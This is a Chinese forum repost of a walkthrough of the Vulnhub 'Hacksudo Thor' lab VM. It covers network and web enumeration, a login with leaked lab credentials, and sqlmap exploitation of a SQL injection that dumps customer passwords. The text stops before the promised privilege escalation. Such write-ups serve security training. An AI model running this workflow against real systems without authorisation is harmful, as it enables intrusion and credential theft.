IT评测·应用市场-qidao123.com技术社区

标题: Vulnhub之Hacksudo Thor靶机详细测试过程(提权成功) [打印本页]

作者: 络腮胡菲菲    时间: 2023-4-26 14:41
标题: Vulnhub之Hacksudo Thor靶机详细测试过程(提权成功)
Hacksudo Thor

作者:jason huawen
靶机信息

名称:hacksudo: Thor
地址:
  1. https://www.vulnhub.com/entry/hacksudo-thor,733/
复制代码
识别目标主机IP地址
  1. (kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                       
  4.                                                                                                                                                             
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                          
  10. 192.168.56.100  08:00:27:19:6b:c1      1      60  PCS Systemtechnik GmbH                                                                                   
  11. 192.168.56.160  08:00:27:94:4e:34      1      60  PCS Systemtechnik GmbH      
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.160
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.160 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-25 21:49 EDT
  4. Nmap scan report for localhost (192.168.56.160)
  5. Host is up (0.00018s latency).
  6. Not shown: 65532 closed tcp ports (reset)
  7. PORT   STATE    SERVICE VERSION
  8. 21/tcp filtered ftp
  9. 22/tcp open     ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  10. | ssh-hostkey:
  11. |   2048 37:36:60:3e:26:ae:23:3f:e1:8b:5d:18:e7:a7:c7:ce (RSA)
  12. |   256 34:9a:57:60:7d:66:70:d5:b5:ff:47:96:e0:36:23:75 (ECDSA)
  13. |_  256 ae:7d:ee:fe:1d:bc:99:4d:54:45:3d:61:16:f8:6c:87 (ED25519)
  14. 80/tcp open     http    Apache httpd 2.4.38 ((Debian))
  15. |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
  16. |_http-server-header: Apache/2.4.38 (Debian)
  17. MAC Address: 08:00:27:94:4E:34 (Oracle VirtualBox virtual NIC)
  18. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  19. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  20. Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds
复制代码
NMAP扫描结果显示目标主机有2个开放端口:22(ssh)、80(http),21端口状态为过滤
获得Shell
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ nikto -h http://192.168.56.160
  3. - Nikto v2.1.6
  4. ---------------------------------------------------------------------------
  5. + Target IP:          192.168.56.160
  6. + Target Hostname:    192.168.56.160
  7. + Target Port:        80
  8. + Start Time:         2023-04-25 21:52:37 (GMT-4)
  9. ---------------------------------------------------------------------------
  10. + Server: Apache/2.4.38 (Debian)
  11. + The anti-clickjacking X-Frame-Options header is not present.
  12. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  13. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  14. + Web Server returns a valid response with junk HTTP methods, this may cause false positives.
  15. + OSVDB-3268: /images/: Directory indexing found.
  16. + OSVDB-3233: /icons/README: Apache default file found.
  17. + 8725 requests: 0 error(s) and 6 item(s) reported on remote host
  18. + End Time:           2023-04-25 21:53:39 (GMT-4) (62 seconds)
  19. ---------------------------------------------------------------------------
  20. + 1 host(s) tested
  21.       *********************************************************************
  22.       Portions of the server's headers (Apache/2.4.38) are not in
  23.       the Nikto 2.1.6 database or are newer than the known string. Would you like
  24.       to submit this information (*no server specific data*) to CIRT.net
  25.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ gobuster dir -u http://192.168.56.160 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt,.js,.bak
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.160
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              html,sh,txt,js,bak,php
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/25 21:54:31 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /.php                 (Status: 403) [Size: 279]
  19. /images               (Status: 301) [Size: 317] [--> http://192.168.56.160/images/]
  20. /.html                (Status: 403) [Size: 279]
  21. /index.php            (Status: 200) [Size: 5357]
  22. /contact.php          (Status: 200) [Size: 4164]
  23. /news.php             (Status: 200) [Size: 8062]
  24. /home.php             (Status: 200) [Size: 5345]
  25. /header.php           (Status: 200) [Size: 472]
  26. /connect.php          (Status: 200) [Size: 0]
  27. /navbar.php           (Status: 200) [Size: 1515]
  28. /fonts                (Status: 301) [Size: 316] [--> http://192.168.56.160/fonts/]
  29. /transactions.php     (Status: 302) [Size: 8163] [--> home.php]
  30. /.php                 (Status: 403) [Size: 279]
  31. /.html                (Status: 403) [Size: 279]
  32. /server-status        (Status: 403) [Size: 279]
  33. /customer_profile.php (Status: 302) [Size: 7274] [--> home.php]
  34. Progress: 1540415 / 1543927 (99.77%)
复制代码
Gobuster工具没有扫描出有价值的目录或者文件,更换字典继续扫描:
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ gobuster dir -u http://192.168.56.160 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x .php,.html,.sh,.txt,.js,.bak
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.160
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              sh,txt,js,bak,php,html
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/25 21:59:22 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /images               (Status: 301) [Size: 317] [--> http://192.168.56.160/images/]
  19. /contact.php          (Status: 200) [Size: 4164]
  20. /news.php             (Status: 200) [Size: 8062]
  21. /home.php             (Status: 200) [Size: 5345]
  22. /index.php            (Status: 200) [Size: 5357]
  23. /fonts                (Status: 301) [Size: 316] [--> http://192.168.56.160/fonts/]
  24. /header.php           (Status: 200) [Size: 472]
  25. /connect.php          (Status: 200) [Size: 0]
  26. /server-status        (Status: 403) [Size: 279]
  27. /.php                 (Status: 403) [Size: 279]
  28. /.html                (Status: 403) [Size: 279]
  29. /navbar.php           (Status: 200) [Size: 1515]
  30. /transactions.php     (Status: 302) [Size: 8163] [--> home.php]
  31. /admin_login.php      (Status: 200) [Size: 1511]
复制代码
更换字典后,扫描出/admin_login.php文件,接下来看如何突破用户登录:
首先看能否利用登录绕开语句,但是没有成功。
利用Burpsuite拦截用户登录请求,存储为文件req.txt,
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sqlmap -r req.txt --level=3                                                            
  3.         ___
  4.        __H__                                                                                                                                                
  5. ___ ___["]_____ ___ ___  {1.6.7#stable}                                                                                                                     
  6. |_ -| . [,]     | .'| . |                                                                                                                                    
  7. |___|_  [(]_|_|_|__,|  _|                                                                                                                                    
  8.       |_|V...       |_|   https://sqlmap.org                                                                                                                 
  9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  10. [*] starting @ 22:08:45 /2023-04-25/
复制代码
但是SQLMAP没有扫描出SQL注入漏洞,在感觉不知道下一步怎么干的时候,尝试一下另外一个目录扫描工具dirsearch,这次有收获:
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ dirsearch -u http://192.168.56.160
  3.   _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                             
  4. (_||| _) (/_(_|| (_| )                                                                                                                                      
  5.                                                                                                                                                             
  6. Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
  7. Output File: /home/kali/.dirsearch/reports/192.168.56.160/_23-04-25_22-12-41.txt
  8. Error Log: /home/kali/.dirsearch/logs/errors-23-04-25_22-12-41.log
复制代码
dirsearch扫描出目标有/README.md文件,访问该文件,好像有用户名和密码信息
  1. However some important usernames and passwords are provided below :
  2. * Username of admin is "admin" & password is "password123".
  3. * Username of most of the customers is their "first_name" & password is their "first_name" followed by "123".
复制代码
可以成功登陆/admin_login.php
<img alt="" loading="lazy">
这页是否存在SQL注入漏洞?
利用Burpsuite拦截该页请求,存储为文件req2.txt,再用sqlmap扫描一下
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sqlmap -r req2.txt --level=3
  3. GET parameter 'cust_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
复制代码
说明目标站点的cust_id存在SQL注入漏洞。
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sqlmap -r req2.txt --level=3 --dbs
  3. available databases [4]:
  4. [*] hacksudo
  5. [*] information_schema
  6. [*] mysql
  7. [*] performance_schema
复制代码
得到数据库列表
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sqlmap -r req2.txt --level=3 -D hacksudo --tables
  3. Database: hacksudo
  4. [12 tables]
  5. +--------------+
  6. | admin        |
  7. | beneficiary1 |
  8. | beneficiary2 |
  9. | beneficiary3 |
  10. | beneficiary4 |
  11. | customer     |
  12. | news         |
  13. | news_body    |
  14. | passbook1    |
  15. | passbook2    |
  16. | passbook3    |
  17. | passbook4    |
  18. +--------------+
复制代码
  1. (kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sqlmap -r req2.txt --level=3 -D hacksudo -T admin --columns
  3. Database: hacksudo
  4. Table: admin
  5. [3 columns]
  6. +--------+----------+
  7. | Column | Type     |
  8. +--------+----------+
  9. | id     | int(11)  |
  10. | pwd    | char(25) |
  11. | uname  | char(25) |
  12. +--------+----------+
复制代码
这个表的信息已经没有价值,看一下其他表。
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]
  2. └─$ sqlmap -r req2.txt --level=3 -D hacksudo -T customer -C uname,pwd --dump+---------+-----------+
  3. | uname   | pwd       |
  4. +---------+-----------+
  5. | zakee94 | nafees123 |
  6. | salman  | salman123 |
  7. | jon     | snow123   |
  8. | tushar  | tushar123 |
复制代码
将上述用户名和密码分别作为字典登录ssh,均失败,但注意到news.php文件源代码中有注释:
[code]




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4